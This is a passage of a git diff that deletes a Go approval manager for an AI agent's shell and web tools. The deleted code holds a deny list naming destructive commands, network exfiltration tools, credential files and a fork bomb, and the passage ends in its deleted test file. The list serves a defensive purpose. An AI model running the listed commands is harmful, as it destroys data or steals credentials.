the user's decision for a tool execution. -type ApprovalDecision int - -const ( - // ApprovalDeny means the user denied execution. - ApprovalDeny ApprovalDecision = iota - // ApprovalOnce means execute this one time only. - ApprovalOnce - // ApprovalAlways means add to session allowlist. - ApprovalAlways -) - -// ApprovalResult contains the decision and optional deny reason. -type ApprovalResult struct { - Decision ApprovalDecision - DenyReason string -} - -// Option labels for the selector (numbered for quick selection) -var optionLabels = []string{ - "1. Execute once", - "2. Allow for this session", - "3. Deny", -} - -// toolDisplayNames maps internal tool names to human-readable display names. -var toolDisplayNames = map[string]string{ - "bash": "Bash", - "web_search": "Web Search", - "web_fetch": "Web Fetch", -} - -// ToolDisplayName returns the human-readable display name for a tool. -func ToolDisplayName(toolName string) string { - if displayName, ok := toolDisplayNames[toolName]; ok { - return displayName - } - // Default: capitalize first letter and replace underscores with spaces - name := strings.ReplaceAll(toolName, "_", " ") - if len(name) > 0 { - return strings.ToUpper(name[:1]) + name[1:] - } - return toolName -} - -// autoAllowCommands are commands that are always allowed without prompting. -// These are zero-risk, read-only commands. -var autoAllowCommands = map[string]bool{ - "pwd": true, - "echo": true, - "date": true, - "whoami": true, - "hostname": true, - "uname": true, -} - -// autoAllowPrefixes are command prefixes that are always allowed. -// These are read-only or commonly-needed development commands. -var autoAllowPrefixes = []string{ - // Git read-only - "git status", "git log", "git diff", "git branch", "git show", - "git remote -v", "git tag", "git stash list", - // Package managers - run scripts - "npm run", "npm test", "npm start", - "bun run", "bun test", - "uv run", - "yarn run", "yarn test", - "pnpm run", "pnpm test", - // Package info - "go list", "go version", "go env", - "npm list", "npm ls", "npm version", - "pip list", "pip show", - "cargo tree", "cargo version", - // Build commands - "go build", "go test", "go fmt", "go vet", - "make", "cmake", - "cargo build", "cargo test", "cargo check", -} - -// denyPatterns are dangerous command patterns that are always blocked. -var denyPatterns = []string{ - // Destructive commands - "rm -rf", "rm -fr", - "mkfs", "dd if=", "dd of=", - "shred", - "> /dev/", ">/dev/", - // Privilege escalation - "sudo ", "su ", "doas ", - "chmod 777", "chmod -R 777", - "chown ", "chgrp ", - // Network exfiltration - "curl -d", "curl --data", "curl -X POST", "curl -X PUT", - "wget --post", - "nc ", "netcat ", - "scp ", "rsync ", - // History and credentials - "history", - ".bash_history", ".zsh_history", - ".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519", - ".ssh/config", - ".aws/credentials", ".aws/config", - ".gnupg/", - "/etc/shadow", "/etc/passwd", - // Dangerous patterns - ":(){ :|:& };:", // fork bomb - "chmod +s", // setuid - "mkfifo", -} - -// denyPathPatterns are file patterns that should never be accessed. -// These are checked as exact filename matches or path suffixes. -var denyPathPatterns = []string{ - ".env", - ".env.local", - ".env.production", - "credentials.json", - "secrets.json", - "secrets.yaml", - "secrets.yml", - ".pem", - ".key", -} - -// ApprovalManager manages tool execution approvals. -type ApprovalManager struct { - allowlist map[string]bool // exact matches - prefixes map[string]bool // prefix matches for bash commands (e.g., "cat:tools/") - mu sync.RWMutex -} - -// NewApprovalManager creates a new approval manager. -func NewApprovalManager() *ApprovalManager { - return &ApprovalManager{ - allowlist: make(map[string]bool), - prefixes: make(map[string]bool), - } -} - -// IsAutoAllowed checks if a bash command is auto-allowed (no prompt needed). -func IsAutoAllowed(command string) bool { - command = strings.TrimSpace(command) - - // Check exact command match (first word) - fields := strings.Fields(command) - if len(fields) > 0 && autoAllowCommands[fields[0]] { - return true - } - - // Check prefix match - for _, prefix := range autoAllowPrefixes { - if strings.HasPrefix(command, prefix) { - return true - } - } - - return false -} - -// IsDenied checks if a bash command matches deny patterns. -// Returns true and the matched pattern if denied. -func IsDenied(command string) (bool, string) { - commandLower := strings.ToLower(command) - - // Check deny patterns - for _, pattern := range denyPatterns { - if strings.Contains(commandLower, strings.ToLower(pattern)) { - return true, pattern - } - } - - // Check deny path patterns - for _, pattern := range denyPathPatterns { - if strings.Contains(commandLower, strings.ToLower(pattern)) { - return true, pattern - } - } - - return false, "" -} - -// FormatDeniedResult returns the tool result message when a command is blocked. -func FormatDeniedResult(command string, pattern string) string { - return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern) -} - -// extractBashPrefix extracts a prefix pattern from a bash command. -// For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/" -// For commands without path args, returns empty string. -// Paths with ".." traversal that escape the base directory return empty string for security. -func extractBashPrefix(command string) string { - // Split command by pipes and get the first part - parts := strings.Split(command, "|") - firstCmd := strings.TrimSpace(parts[0]) - - // Split into command and args - fields := strings.Fields(firstCmd) - if len(fields) < 2 { - return "" - } - - baseCmd := fields[0] - // Common commands that benefit from prefix allowlisting - // These are typically safe for read operations on specific directories - safeCommands := map[string]bool{ - "cat": true, "ls": true, "head": true, "tail": true, - "less": true, "more": true, "file": true, "wc": true, - "grep": true, "find": true, "tree": true, "stat": true, - "sed": true, - } - - if !safeCommands[baseCmd] { - return "" - } - - // Find the first path-like argument (must contain / or \ or start with .) - // First pass: look for clear paths (containing path separators or starting with .) - for _, arg := range fields[1:] { - // Skip flags - if strings.HasPrefix(arg, "-") { - continue - } - // Skip numeric arguments (e.g., "head -n 100") - if isNumeric(arg) { - continue - } - // Only process if it looks like a path (contains / or \ or starts with .) - if !strings.Contains(arg, "/") && !strings.Contains(arg, "\\") && !strings.HasPrefix(arg, ".") { - continue - } - // Normalize to forward slashes for consistent cross-platform matching - arg = strings.ReplaceAll(arg, "\\", "/") - - // Security: reject absolute paths - if path.IsAbs(arg) { - return "" // Absolute path - don't create prefix - } - - // Normalize the path using stdlib path.Clean (resolves . and ..) - cleaned := path.Clean(arg) - - // Security: reject if cleaned path escapes to parent directory - if strings.HasPrefix(cleaned, "..") { - return "" // Path escapes - don't create prefix - } - - // Security: if original had "..", verify cleaned path didn't escape to sibling - // e.g., "tools/a/b/../../../etc" -> "etc" (escaped tools/ to sibling) - if strings.Contains(arg, "..") { - origBase := strings.SplitN(arg, "/", 2)[0] - cleanedBase := strings.SplitN(cleaned, "/", 2)[0] - if origBase != cleanedBase { - return "" // Path escaped to sibling directory - } - } - - // Check if arg ends with / (explicit directory) - isDir := strings.HasSuffix(arg, "/") - - // Get the directory part - var dir string - if isDir { - dir = cleaned - } else { - dir = path.Dir(cleaned) - } - - if dir == "." { - return fmt.Sprintf("%s:./", baseCmd) - } - return fmt.Sprintf("%s:%s/", baseCmd, dir) - } - - // Second pass: if no clear path found, use the first non-flag argument as a filename - for _, arg := range fields[1:] { - if strings.HasPrefix(arg, "-") { - continue - } - if isNumeric(arg) { - continue - } - // Treat as filename in current dir - return fmt.Sprintf("%s:./", baseCmd) - } - - return "" -} - -// isNumeric checks if a string is a numeric value -func isNumeric(s string) bool { - for _, c := range s { - if c < '0' || c > '9' { - return false - } - } - return len(s) > 0 -} - -// isCommandOutsideCwd checks if a bash command targets paths outside the current working directory. -// Returns true if any path argument would access files outside cwd. -func isCommandOutsideCwd(command string) bool { - cwd, err := os.Getwd() - if err != nil { - return false // Can't determine, assume safe - } - - // Split command by pipes and semicolons to check all parts - parts := strings.FieldsFunc(command, func(r rune) bool { - return r == '|' || r == ';' || r == '&' - }) - - for _, part := range parts { - part = strings.TrimSpace(part) - fields := strings.Fields(part) - if len(fields) == 0 { - continue - } - - // Check each argument that looks like a path - for _, arg := range fields[1:] { - // Skip flags - if strings.HasPrefix(arg, "-") { - continue - } - - // Treat POSIX-style absolute paths as outside cwd on all platforms. - if strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, "\\") { - return true - } - - // Check for absolute paths outside cwd - if filepath.IsAbs(arg) { - absPath := filepath.Clean(arg) - if !strings.HasPrefix(absPath, cwd) { - return true - } - continue - } - - // Check for relative paths that escape cwd (e.g., ../foo, /etc/passwd) - if strings.HasPrefix(arg, "..") { - // Resolve the path relative to cwd - absPath := filepath.Join(cwd, arg) - absPath = filepath.Clean(absPath) - if !strings.HasPrefix(absPath, cwd) { - return true - } - } - - // Check for home directory expansion - if strings.HasPrefix(arg, "~") { - home, err := os.UserHomeDir() - if err == nil && !strings.HasPrefix(home, cwd) { - return true - } - } - } - } - - return false -} - -// AllowlistKey generates the key for exact allowlist lookup. -func AllowlistKey(toolName string, args map[string]any) string { - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - return fmt.Sprintf("bash:%s", cmd) - } - } - return toolName -} - -// IsAllowed checks if a tool/command is allowed (exact match or prefix match). -// For bash commands, hierarchical path matching is used - if "cat:tools/" is allowed, -// then "cat:tools/subdir/" is also allowed (subdirectories inherit parent permissions). -func (a *ApprovalManager) IsAllowed(toolName string, args map[string]any) bool { - a.mu.RLock() - defer a.mu.RUnlock() - - // Check exact match first - key := AllowlistKey(toolName, args) - if a.allowlist[key] { - return true - } - - // For bash commands, check prefix matches with hierarchical path support - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - prefix := extractBashPrefix(cmd) - if prefix != "" { - // Check exact prefix match first - if a.prefixes[prefix] { - return true - } - // Check hierarchical match: if any stored prefix is a parent of current prefix - // e.g., stored "cat:tools/" should match current "cat:tools/subdir/" - if a.matchesHierarchicalPrefix(prefix) { - return true - } - } - } - } - - // Check if tool itself is allowed (non-bash) - if toolName != "bash" && a.allowlist[toolName] { - return true - } - - return false -} - -// matchesHierarchicalPrefix checks if the given prefix matches any stored prefix hierarchically. -// For example, if "cat:tools/" is stored, it will match "cat:tools/subdir/" or "cat:tools/a/b/c/". -func (a *ApprovalManager) matchesHierarchicalPrefix(currentPrefix string) bool { - // Split prefix into command and path parts (format: "cmd:path/") - colonIdx := strings.Index(currentPrefix, ":") - if colonIdx == -1 { - return false - } - currentCmd := currentPrefix[:colonIdx] - currentPath := currentPrefix[colonIdx+1:] - - for storedPrefix := range a.prefixes { - storedColonIdx := strings.Index(storedPrefix, ":") - if storedColonIdx == -1 { - continue - } - storedCmd := storedPrefix[:storedColonIdx] - storedPath := storedPrefix[storedColonIdx+1:] - - // Commands must match exactly - if currentCmd != storedCmd { - continue - } - - // Check if current path starts with stored path (hierarchical match) - // e.g., "tools/subdir/" starts with "tools/" - if strings.HasPrefix(currentPath, storedPath) { - return true - } - } - - return false -} - -// AddToAllowlist adds a tool/command to the session allowlist. -// For bash commands, it adds the prefix pattern instead of exact command. -func (a *ApprovalManager) AddToAllowlist(toolName string, args map[string]any) { - a.mu.Lock() - defer a.mu.Unlock() - - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - prefix := extractBashPrefix(cmd) - if prefix != "" { - a.prefixes[prefix] = true - return - } - // Fall back to exact match if no prefix extracted - a.allowlist[fmt.Sprintf("bash:%s", cmd)] = true - return - } - } - a.allowlist[toolName] = true -} - -// RequestApproval prompts the user for approval to execute a tool. -// Returns the decision and optional deny reason. -func (a *ApprovalManager) RequestApproval(toolName string, args map[string]any) (ApprovalResult, error) { - // Format tool info for display - toolDisplay := formatToolDisplay(toolName, args) - - // Enter raw mode for interactive selection - fd := int(os.Stdin.Fd()) - oldState, err := term.MakeRaw(fd) - if err != nil { - // Fallback to simple input if terminal control fails - return a.fallbackApproval(toolDisplay) - } - - // Flush any pending stdin input before starting selector - // This prevents buffered input from causing double-press issues - flushStdin(fd) - - isWarning := false - var warningMsg string - var allowlistInfo string - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - if isCommandOutsideCwd(cmd) { - isWarning = true - warningMsg = "command targets paths outside project" - } - if prefix := extractBashPrefix(cmd); prefix != "" { - colonIdx := strings.Index(prefix, ":") - if colonIdx != -1 { - cmdName := prefix[:colonIdx] - dirPath := prefix[colonIdx+1:] - if dirPath != "./" { - allowlistInfo = fmt.Sprintf("%s in %s directory (includes subdirs)", cmdName, dirPath) - } else { - allowlistInfo = fmt.Sprintf("%s in %s directory", cmdName, dirPath) - } - } - } - } - } - - // Run interactive selector - selected, denyReason, err := runSelector(fd, oldState, toolDisplay, isWarning, warningMsg, allowlistInfo) - if err != nil { - term.Restore(fd, oldState) - return ApprovalResult{Decision: ApprovalDeny}, err - } - - // Restore terminal - term.Restore(fd, oldState) - - // Map selection to decision - switch selected { - case -1: // Ctrl+C cancelled - return ApprovalResult{Decision: ApprovalDeny, DenyReason: "cancelled"}, nil - case 0: - return ApprovalResult{Decision: ApprovalOnce}, nil - case 1: - return ApprovalResult{Decision: ApprovalAlways}, nil - default: - return ApprovalResult{Decision: ApprovalDeny, DenyReason: denyReason}, nil - } -} - -// formatToolDisplay creates the display string for a tool call. -func formatToolDisplay(toolName string, args map[string]any) string { - var sb strings.Builder - displayName := ToolDisplayName(toolName) - - // For bash, show command directly - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - sb.WriteString(fmt.Sprintf("Tool: %s\n", displayName)) - sb.WriteString(fmt.Sprintf("Command: %s", cmd)) - return sb.String() - } - } - - // For web search, show query and internet notice - if toolName == "web_search" { - if query, ok := args["query"].(string); ok { - sb.WriteString(fmt.Sprintf("Tool: %s\n", displayName)) - sb.WriteString(fmt.Sprintf("Query: %s\n", query)) - sb.WriteString("Uses internet via ollama.com") - return sb.String() - } - } - - // For web fetch, show URL and internet notice - if toolName == "web_fetch" { - if url, ok := args["url"].(string); ok { - sb.WriteString(fmt.Sprintf("Tool: %s\n", displayName)) - sb.WriteString(fmt.Sprintf("URL: %s\n", url)) - sb.WriteString("Uses internet via ollama.com") - return sb.String() - } - } - - // Generic display - sb.WriteString(fmt.Sprintf("Tool: %s", displayName)) - if len(args) > 0 { - sb.WriteString("\nArguments: ") - first := true - for k, v := range args { - if !first { - sb.WriteString(", ") - } - sb.WriteString(fmt.Sprintf("%s=%v", k, v)) - first = false - } - } - return sb.String() -} - -// selectorState holds the state for the interactive selector -type selectorState struct { - toolDisplay string - selected int - totalLines int - termWidth int - termHeight int - boxWidth int - innerWidth int - denyReason string // deny reason (always visible in box) - isWarning bool // true if command has warning - warningMessage string // dynamic warning message to display - allowlistInfo string // show what will be allowlisted (for "Allow for this session" option) -} - -// runSelector runs the interactive selector and returns the selected index and optional deny reason. -// If isWarning is true, the box is rendered in red to indicate the command targets paths outside cwd. -func runSelector(fd int, oldState *term.State, toolDisplay string, isWarning bool, warningMessage string, allowlistInfo string) (int, string, error) { - state := &selectorState{ - toolDisplay: toolDisplay, - selected: 0, - isWarning: isWarning, - warningMessage: warningMessage, - allowlistInfo: allowlistInfo, - } - - // Get terminal size - state.termWidth, state.termHeight, _ = term.GetSize(fd) - if state.termWidth < 20 { - state.termWidth = 80 // fallback - } - - // Calculate box width: 90% of terminal, min 24, max 60 - state.boxWidth = (state.termWidth * 90) / 100 - if state.boxWidth > 60 { - state.boxWidth = 60 - } - if state.boxWidth < 24 { - state.boxWidth = 24 - } - // Ensure box fits in terminal - if state.boxWidth > state.termWidth-1 { - state.boxWidth = state.termWidth - 1 - } - state.innerWidth = state.boxWidth - 4 // account for "│ " and " │" - - // Calculate total lines (will be updated by render) - state.totalLines = calculateTotalLines(state) - - // Hide cursor during selection (show when in deny mode) - fmt.Fprint(os.Stderr, "\033[?25l") - defer fmt.Fprint(os.Stderr, "\033[?25h") // Show cursor when done - - // Initial render - renderSelectorBox(state) - - numOptions := len(optionLabels) - - for { - // Read input - buf := make([]byte, 8) - n, err := os.Stdin.Read(buf) - if err != nil { - clearSelectorBox(state) - return 2, "", err - } - - // Process input byte by byte - for i := 0; i < n; i++ { - ch := buf[i] - - // Check for escape sequences (arrow keys) - if ch == 27 && i+2 < n && buf[i+1] == '[' { - oldSelected := state.selected - switch buf[i+2] { - case 'A': // Up arrow - if state.selected > 0 { - state.selected-- - } - case 'B': // Down arrow - if state.selected < numOptions-1 { - state.selected++ - } - } - if oldSelected != state.selected { - updateSelectorOptions(state) - } - i += 2 // Skip the rest of escape sequence - continue - } - - switch { - // Ctrl+C - cancel - case ch == 3: - clearSelectorBox(state) - return -1, "", nil // -1 indicates cancelled - - // Enter key - confirm selection - case ch == 13: - clearSelectorBox(state) - if state.selected == 2 { // Deny - return 2, state.denyReason, nil - } - return state.selected, "", nil - - // Number keys 1-3 for quick select - case ch >= '1' && ch <= '3': - selected := int(ch - '1') - clearSelectorBox(state) - if selected == 2 { // Deny - return 2, state.denyReason, nil - } - return selected, "", nil - - // Backspace - delete from reason (UTF-8 safe) - case ch == 127 || ch == 8: - if len(state.denyReason) > 0 { - runes := []rune(state.denyReason) - state.denyReason = string(runes[:len(runes)-1]) - updateReasonInput(state) - } - - // Escape - clear reason - case ch == 27: - if len(state.denyReason) > 0 { - state.denyReason = "" - updateReasonInput(state) - } - - // Printable ASCII (except 1-3 handled above) - type into reason - case ch >= 32 && ch < 127: - maxLen := state.innerWidth - 2 - if maxLen < 10 { - maxLen = 10 - } - if len(state.denyReason) < maxLen { - state.denyReason += string(ch) - // Auto-select Deny option when user starts typing - if state.selected != 2 { - state.selected = 2 - updateSelectorOptions(state) - } else { - updateReasonInput(state) - } - } - } - } - } -} - -// wrapText wraps text to fit within maxWidth, returning lines -func wrapText(text string, maxWidth int) []string { - if maxWidth < 5 { - maxWidth = 5 - } - var lines []string - for _, line := range strings.Split(text, "\n") { - if len(line) <= maxWidth { - lines = append(lines, line) - continue - } - // Wrap long lines - for len(line) > maxWidth { - // Try to break at space - breakAt := maxWidth - for i := maxWidth; i > maxWidth/2; i-- { - if i < len(line) && line[i] == ' ' { - breakAt = i - break - } - } - lines = append(lines, line[:breakAt]) - line = strings.TrimLeft(line[breakAt:], " ") - } - if len(line) > 0 { - lines = append(lines, line) - } - } - return lines -} - -// getHintLines returns the hint text wrapped to terminal width -func getHintLines(state *selectorState) []string { - hint := "up/down select, enter confirm, 1-3 quick select, ctrl+c cancel" - if state.termWidth >= len(hint)+1 { - return []string{hint} - } - // Wrap hint to multiple lines - return wrapText(hint, state.termWidth-1) -} - -// calculateTotalLines calculates how many lines the selector will use -func calculateTotalLines(state *selectorState) int { - toolLines := strings.Split(state.toolDisplay, "\n") - hintLines := getHintLines(state) - // warning line (if applicable) + tool lines + blank line + options + blank line + hint lines - warningLines := 0 - if state.isWarning { - warningLines = 2 // warning line + blank line after - } - return warningLines + len(toolLines) + 1 + len(optionLabels) + 1 + len(hintLines) -} - -// renderSelectorBox renders the selector (minimal, no box) -func renderSelectorBox(state *selectorState) { - toolLines := strings.Split(state.toolDisplay, "\n") - hintLines := getHintLines(state) - - // Draw warning line if needed - if state.isWarning { - if state.warningMessage != "" { - fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m %s\033[K\r\n", state.warningMessage) - } else { - fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m command targets paths outside project\033[K\r\n") - } - fmt.Fprintf(os.Stderr, "\033[K\r\n") // blank line after warning - } - - // Draw tool info (plain white) - for _, line := range toolLines { - fmt.Fprintf(os.Stderr, "%s\033[K\r\n", line) - } - - // Blank line separator - fmt.Fprintf(os.Stderr, "\033[K\r\n") - - for i, label := range optionLabels { - if i == 2 { - denyLabel := "3. Deny: " - inputDisplay := state.denyReason - if inputDisplay == "" { - inputDisplay = "\033[90m(optional reason)\033[0m" - } - if i == state.selected { - fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay) - } else { - fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay) - } - } else { - displayLabel := label - if i == 1 && state.allowlistInfo != "" { - displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo) - } - if i == state.selected { - fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", displayLabel) - } else { - fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", displayLabel) - } - } - } - - // Blank line before hint - fmt.Fprintf(os.Stderr, "\033[K\r\n") - - // Draw hint (dark grey) - for i, line := range hintLines { - if i == len(hintLines)-1 { - fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line) - } else { - fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line) - } - } -} - -// updateSelectorOptions updates just the options portion of the selector -func updateSelectorOptions(state *selectorState) { - hintLines := getHintLines(state) - - // Move up to the first option line - // Cursor is at end of last hint line, need to go up: - // (hint lines - 1) + 1 (blank line) + numOptions - linesToMove := len(hintLines) - 1 + 1 + len(optionLabels) - fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove) - - for i, label := range optionLabels { - if i == 2 { - denyLabel := "3. Deny: " - inputDisplay := state.denyReason - if inputDisplay == "" { - inputDisplay = "\033[90m(optional reason)\033[0m" - } - if i == state.selected { - fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay) - } else { - fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay) - } - } else { - displayLabel := label - if i == 1 && state.allowlistInfo != "" { - displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo) - } - if i == state.selected { - fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", displayLabel) - } else { - fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", displayLabel) - } - } - } - - // Blank line + hint - fmt.Fprintf(os.Stderr, "\033[K\r\n") - for i, line := range hintLines { - if i == len(hintLines)-1 { - fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line) - } else { - fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line) - } - } -} - -// updateReasonInput updates just the Deny option line (which contains the reason input) -func updateReasonInput(state *selectorState) { - hintLines := getHintLines(state) - - // Move up to the Deny line (3rd option, index 2) - // Cursor is at end of last hint line, need to go up: - // (hint lines - 1) + 1 (blank line) + 1 (Deny is last option) - linesToMove := len(hintLines) - 1 + 1 + 1 - fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove) - - // Redraw Deny line with reason - denyLabel := "3. Deny: " - inputDisplay := state.denyReason - if inputDisplay == "" { - inputDisplay = "\033[90m(optional reason)\033[0m" - } - if state.selected == 2 { - fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay) - } else { - fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay) - } - - // Blank line + hint - fmt.Fprintf(os.Stderr, "\033[K\r\n") - for i, line := range hintLines { - if i == len(hintLines)-1 { - fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line) - } else { - fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line) - } - } -} - -// clearSelectorBox clears the selector from screen -func clearSelectorBox(state *selectorState) { - // Clear the current line (hint line) first - fmt.Fprint(os.Stderr, "\r\033[K") - // Move up and clear each remaining line - for range state.totalLines - 1 { - fmt.Fprint(os.Stderr, "\033[A\033[K") - } - fmt.Fprint(os.Stderr, "\r") -} - -// fallbackApproval handles approval when terminal control isn't available. -func (a *ApprovalManager) fallbackApproval(toolDisplay string) (ApprovalResult, error) { - fmt.Fprintln(os.Stderr) - fmt.Fprintln(os.Stderr, toolDisplay) - fmt.Fprintln(os.Stderr) - fmt.Fprintln(os.Stderr, "[1] Execute once [2] Allow for this session [3] Deny") - fmt.Fprint(os.Stderr, "choice: ") - - var input string - fmt.Scanln(&input) - - switch input { - case "1": - return ApprovalResult{Decision: ApprovalOnce}, nil - case "2": - return ApprovalResult{Decision: ApprovalAlways}, nil - default: - fmt.Fprint(os.Stderr, "Reason (optional): ") - var reason string - fmt.Scanln(&reason) - return ApprovalResult{Decision: ApprovalDeny, DenyReason: reason}, nil - } -} - -// Reset clears the session allowlist. -func (a *ApprovalManager) Reset() { - a.mu.Lock() - defer a.mu.Unlock() - a.allowlist = make(map[string]bool) - a.prefixes = make(map[string]bool) -} - -// AllowedTools returns a list of tools and prefixes in the allowlist. -func (a *ApprovalManager) AllowedTools() []string { - a.mu.RLock() - defer a.mu.RUnlock() - - tools := make([]string, 0, len(a.allowlist)+len(a.prefixes)) - for tool := range a.allowlist { - tools = append(tools, tool) - } - for prefix := range a.prefixes { - tools = append(tools, prefix+"*") - } - return tools -} - -// FormatApprovalResult returns a formatted string showing the approval result. -func FormatApprovalResult(toolName string, args map[string]any, result ApprovalResult) string { - var label string - displayName := ToolDisplayName(toolName) - - switch result.Decision { - case ApprovalOnce: - label = "Approved" - case ApprovalAlways: - label = "Always allowed" - case ApprovalDeny: - label = "Denied" - } - - // Format based on tool type - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - // Truncate long commands - if len(cmd) > 40 { - cmd = cmd[:37] + "..." - } - return fmt.Sprintf("\033[1m%s:\033[0m %s: %s", label, displayName, cmd) - } - } - - if toolName == "web_search" { - if query, ok := args["query"].(string); ok { - // Truncate long queries - if len(query) > 40 { - query = query[:37] + "..." - } - return fmt.Sprintf("\033[1m%s:\033[0m %s: %s", label, displayName, query) - } - } - - if toolName == "web_fetch" { - if url, ok := args["url"].(string); ok { - // Truncate long URLs - if len(url) > 50 { - url = url[:47] + "..." - } - return fmt.Sprintf("\033[1m%s:\033[0m %s: %s", label, displayName, url) - } - } - - return fmt.Sprintf("\033[1m%s:\033[0m %s", label, displayName) -} - -// FormatDenyResult returns the tool result message when a tool is denied. -func FormatDenyResult(toolName string, reason string) string { - if reason != "" { - return fmt.Sprintf("User denied execution of %s. Reason: %s", toolName, reason) - } - return fmt.Sprintf("User denied execution of %s.", toolName) -} - -// PromptYesNo displays a simple Yes/No prompt and returns the user's choice. -// Returns true for Yes, false for No. -func PromptYesNo(question string) (bool, error) { - fd := int(os.Stdin.Fd()) - oldState, err := term.MakeRaw(fd) - if err != nil { - return false, err - } - defer term.Restore(fd, oldState) - - selected := 0 // 0 = Yes, 1 = No - options := []string{"Yes", "No"} - - // Hide cursor - fmt.Fprint(os.Stderr, "\033[?25l") - defer fmt.Fprint(os.Stderr, "\033[?25h") - - renderYesNo := func() { - // Move to start of line and clear - fmt.Fprintf(os.Stderr, "\r\033[K") - fmt.Fprintf(os.Stderr, "%s ", question) - for i, opt := range options { - if i == selected { - fmt.Fprintf(os.Stderr, "\033[1m%s\033[0m ", opt) - } else { - fmt.Fprintf(os.Stderr, "\033[37m%s\033[0m ", opt) - } - } - } - - renderYesNo() - - buf := make([]byte, 3) - for { - n, err := os.Stdin.Read(buf) - if err != nil { - return false, err - } - - if n == 1 { - switch buf[0] { - case 'y', 'Y': - selected = 0 - renderYesNo() - case 'n', 'N': - selected = 1 - renderYesNo() - case '\r', '\n': // Enter - fmt.Fprintf(os.Stderr, "\r\033[K") // Clear line - return selected == 0, nil - case 3: // Ctrl+C - fmt.Fprintf(os.Stderr, "\r\033[K") - return false, nil - case 27: // Escape - could be arrow key - // Read more bytes for arrow keys - continue - } - } else if n == 3 && buf[0] == 27 && buf[1] == 91 { - // Arrow keys - switch buf[2] { - case 'D': // Left - if selected > 0 { - selected-- - } - renderYesNo() - case 'C': // Right - if selected < len(options)-1 { - selected++ - } - renderYesNo() - } - } - } -} diff --git a/x/agent/approval_test.go b/x/agent/approval_test.go deleted file mode 100644 index a05ea3d42..000000000 --- a/x/agent/approval_test.go +++ /dev/null @@ -1,541 +0,0 @@ -package agent - -import ( - "strings" - "testing" -) - -func TestApprovalManager_IsAllowed(t *testing.T) { - am := NewApprovalManager() - - // Initially nothing is allowed - if am.IsAllowed("test_tool", nil) { - t.Error("expected test_tool to not be allowed initially") - } - - // Add to allowlist - am.AddToAllowlist("test_tool", nil) - - // Now it should be allowed - if !am.IsAllowed("test_tool", nil) { - t.Error("expected test_tool to be allowed after AddToAllowlist") - } - - // Other tools should still not be allowed - if am.IsAllowed("other_tool", nil) { - t.Error("expected other_tool to not be allowed") - } -} - -func TestApprovalManager_Reset(t *testing.T) { - am := NewApprovalManager() - - am.AddToAllowlist("tool1", nil) - am.AddToAllowlist("tool2", nil) - - if !am.IsAllowed("tool1", nil) || !am.IsAllowed("tool2", nil) { - t.Error("expected tools to be allowed") - } - - am.Reset() - - if am.IsAllowed("tool1", nil) || am.IsAllowed("tool2", nil) { - t.Error("expected tools to not be allowed after Reset") - } -} - -func TestApprovalManager_AllowedTools(t *testing.T) { - am := NewApprovalManager() - - tools := am.AllowedTools() - if len(tools) != 0 { - t.Errorf("expected 0 allowed tools, got %d", len(tools)) - } - - am.AddToAllowlist("tool1", nil) - am.AddToAllowlist("tool2", nil) - - tools = am.AllowedTools() - if len(tools) != 2 { - t.Errorf("expected 2 allowed tools, got %d", len(tools)) - } -} - -func TestAllowlistKey(t *testing.T) { - tests := []struct { - name string - toolName string - args map[string]any - expected string - }{ - { - name: "web_search tool", - toolName: "web_search", - args: map[string]any{"query": "test"}, - expected: "web_search", - }, - { - name: "bash tool with command", - toolName: "bash", - args: map[string]any{"command": "ls -la"}, - expected: "bash:ls -la", - }, - { - name: "bash tool without command", - toolName: "bash", - args: map[string]any{}, - expected: "bash", - }, - { - name: "other tool", - toolName: "custom_tool", - args: map[string]any{"param": "value"}, - expected: "custom_tool", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := AllowlistKey(tt.toolName, tt.args) - if result != tt.expected { - t.Errorf("AllowlistKey(%s, %v) = %s, expected %s", - tt.toolName, tt.args, result, tt.expected) - } - }) - } -} - -func TestExtractBashPrefix(t *testing.T) { - tests := []struct { - name string - command string - expected string - }{ - { - name: "cat with path", - command: "cat tools/tools_test.go", - expected: "cat:tools/", - }, - { - name: "cat with pipe", - command: "cat tools/tools_test.go | head -200", - expected: "cat:tools/", - }, - { - name: "ls with path", - command: "ls -la src/components", - expected: "ls:src/", - }, - { - name: "grep with directory path", - command: "grep -r pattern api/handlers/", - expected: "grep:api/handlers/", - }, - { - name: "cat in current dir", - command: "cat 